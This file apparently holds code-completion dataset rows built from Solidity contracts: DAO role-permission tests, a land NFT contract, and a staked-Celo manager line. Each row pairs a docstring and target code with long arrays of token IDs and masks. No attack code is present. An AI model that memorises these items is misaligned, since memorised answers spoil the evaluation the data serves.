addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test Removing a Member user twice
// =================================
function testRemoveUserTwiceMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Admin)));
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserTwiceMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserTwiceMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
// =================================
// Test Removing an Admin user twice
// =================================
function testRemoveUserTwiceAdminAsOwner() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Admin)));
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserTwiceAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
// ===================================
// Test Removing an Officer user twice
// ===================================
function testRemoveOfficerTwiceAsOwner() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAnOfficerNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAnOfficerNoImpersonateWithRevert(gUsers[1], "Not an officer");
assertEq(dao.getUserCount(), 1);
}
// ==============================
// Test Removing users in batches
// ==============================
function testRemoveUsersBatched() public {
for(uint i = 0; i < gUsers.length; i++){
addAUserNoImpersonateNoRevert(gUsers[i], AccessType.Member);
}
assertEq(dao.getUserCount(), 10);
removeUsersNoImpersonateNoRevert(gUsers);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUsersBatchedNonExistingUser() public {
address[] memory copy = new address[](gUsers.length);
for(uint i = 0; i < gUsers.length; i++){
addAUserNoImpersonateNoRevert(gUsers[i], AccessType.Member);
copy[i] = gUsers[i];
}
assertEq(dao.getUserCount(), 10);
copy[4] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[4]))));
assertEq(dao.getUserCount(), 10);
copy[4] = gUsers[4];
copy[0] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[0]))));
assertEq(dao.getUserCount(), 10);
copy[0] = gUsers[0];
copy[gUsers.length-1] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[gUsers.length-1]))));
assertEq(dao.getUserCount(), 10);
}
// =================================================
// Test sending/receiving funds to/from the contract
// =================================================
function testDeposit() public {
assertEq(dao.getBalance(), 0);
payable(address(dao)).transfer(1);
assertEq(dao.getBalance(), 1);
payable(address(dao)).transfer(10);
assertEq(dao.getBalance(), 11);
}
function testWithdrawl() public {
assertEq(dao.getBalance(), 0);
payable(address(dao)).transfer(10);
uint256 bal_before = address(this).balance;
dao.transferHbar(payable(address(this)), 1);
assertEq(bal_before, address(this).balance - 1);
}
function testWithdrawlRevert() public {
assertEq(dao.getBalance(), 0);
cheats.expectRevert("");
dao.transferHbar(payable(address(this)), 1);
}
// ================================
// Test promoting a Member to Admin
// ================================
function testPromoteMemberToAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test promoting a Member to Officer
// ==================================
function testPromoteMemberToOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test promoting an Admin to Officer
// ==================================
function testPromoteAdminToOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteAdminToOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteAdminToOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test demoting an Officer to Amdin
// =================================
function testDemoteOfficerToAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test demoting an Officer to Member
// ==================================
function testDemoteOfficerToMemberAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ================================
// Test demoting an Admin to Member
// ================================
function testDemoteAdminToMemberAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteAdminToMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testDemoteAdminToMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
}
| ============ Test setters ============ | function testSetMaxUsers() public {
uint32 newMaxUsers = 500000;
dao.setMaxUsers(newMaxUsers);
assertEq(dao.getMaxUsers(), newMaxUsers);
dao.setMaxUsers(gMaxUsers);
assertEq(dao.getMaxUsers(), gMaxUsers);
}
| 14,053,758 | [
1,
14468,
7766,
25627,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1842,
30643,
6588,
1435,
1071,
288,
203,
3639,
2254,
1578,
394,
2747,
6588,
273,
1381,
11706,
31,
203,
3639,
15229,
18,
542,
2747,
6588,
12,
2704,
2747,
6588,
1769,
203,
3639,
1815,
19508,
12,
2414,
83,
18,
588,
2747,
6588,
9334,
394,
2747,
6588,
1769,
203,
203,
3639,
15229,
18,
542,
2747,
6588,
12,
75,
2747,
6588,
1769,
203,
3639,
1815,
19508,
12,
2414,
83,
18,
588,
2747,
6588,
9334,
314,
2747,
6588,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
import "./AccessControl.sol";
contract LandModel is AccessControl {
/*** EVENTS ***/
/// @dev The Creation event is fired whenever new piece of land comes into existence. This obviously
/// includes any time land is created through the _createland method
event Creation(address indexed owner, uint256 landId, uint256 tileId, uint256 weight, uint64 creationTime);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time land
/// ownership is assigned.
event Transfer(address indexed from, address indexed to, uint256 tokenId);
/*** DATA TYPES ***/
/// @dev The main Land struct. Every land in Dune Metaverse is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct Land {
uint256 value;
address owner;
uint256 size;
string url;
string element;
string name;
// The timestamp from the block when this land came into existence.
uint64 creationTime;
uint32 tileId;
}
/*** STORAGE ***/
/// @dev An array containing the land struct for all lands in existence. The ID
/// of each land is actually an index into this array.
Land[] lands;
/// @dev A mapping from land IDs to the address that owns them.
mapping (uint256 => address) public landIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
/// @dev A mapping from landIDs to an address that has been approved to call
/// transferFrom(). Each land can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public landIndexToApproved;
/// @dev Assigns ownership of a specific land to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
// transfer ownership
landIndexToOwner[_tokenId] = _to;
// When creating new Land NFT _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete landIndexToApproved[_tokenId];
}
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
}
/// @dev An internal method that creates a new land and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Creation event
/// and a Transfer event.
/// @param _size The area size of the NFT
/// @param _tileId The tileId represented on the dune metaverse
/// @param _value The amount this NFT got sold for
/// @param _owner The new owner of this land
function _createLand(
uint256 _size,
uint256 _tileId,
uint256 _value,
address _owner,
string memory _url,
string memory _element,
string memory _name
)
internal
returns (uint)
{
require(_size == uint256(uint32(_size)));
require(_tileId == uint256(uint16(_tileId)));
require(_owner != address(0));
Land memory _land = Land({
value: _value,
owner: _owner,
element: _element,
url: _url,
name: _name,
creationTime: uint64(now),
size: uint32(_size),
tileId: uint16(_tileId)
});
uint256 newLandId = lands.push(_land) - 1;
// It's probably never going to happen, 4 billion pieces of land is A LOT, but
// let's just be 100% sure we never let this happen.
require(newLandId == uint256(uint32(newLandId)));
// emit the Creation event
emit Creation(
_owner,
newLandId,
uint256(_land.tileId),
uint256(_land.value),
uint64(_land.creationTime)
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newLandId);
return newLandId;
}
}
| @dev A mapping from landIDs to an address that has been approved to call transferFrom(). Each land can only have one approved address for transfer at any time. A zero value means no approval is outstanding. | mapping (uint256 => address) public landIndexToApproved;
| 1,765,089 | [
1,
37,
2874,
628,
19193,
5103,
358,
392,
1758,
716,
711,
2118,
20412,
358,
745,
225,
7412,
1265,
7675,
8315,
19193,
848,
1338,
1240,
1245,
20412,
1758,
364,
7412,
225,
622,
1281,
813,
18,
432,
3634,
460,
4696,
1158,
23556,
353,
20974,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
261,
11890,
5034,
516,
1758,
13,
1071,
19193,
1016,
774,
31639,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42220/0x7ef2EA0939Fa35f3fA78616E3E12246324739203/sources/lib/staked-celo/contracts/Manager.sol | * @notice The set of deprecated groups. These are groups that should no longer receive new votes from deposits, but still need to be kept track of because the Account contract is still voting for them./ | EnumerableSet.AddressSet private deprecatedGroups;
| 3,497,643 | [
1,
1986,
444,
434,
6849,
3252,
18,
8646,
854,
3252,
716,
1410,
1158,
7144,
6798,
394,
19588,
628,
443,
917,
1282,
16,
1496,
4859,
1608,
358,
506,
16555,
3298,
434,
2724,
326,
6590,
6835,
353,
4859,
331,
17128,
364,
2182,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
6057,
25121,
694,
18,
1887,
694,
3238,
6849,
3621,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
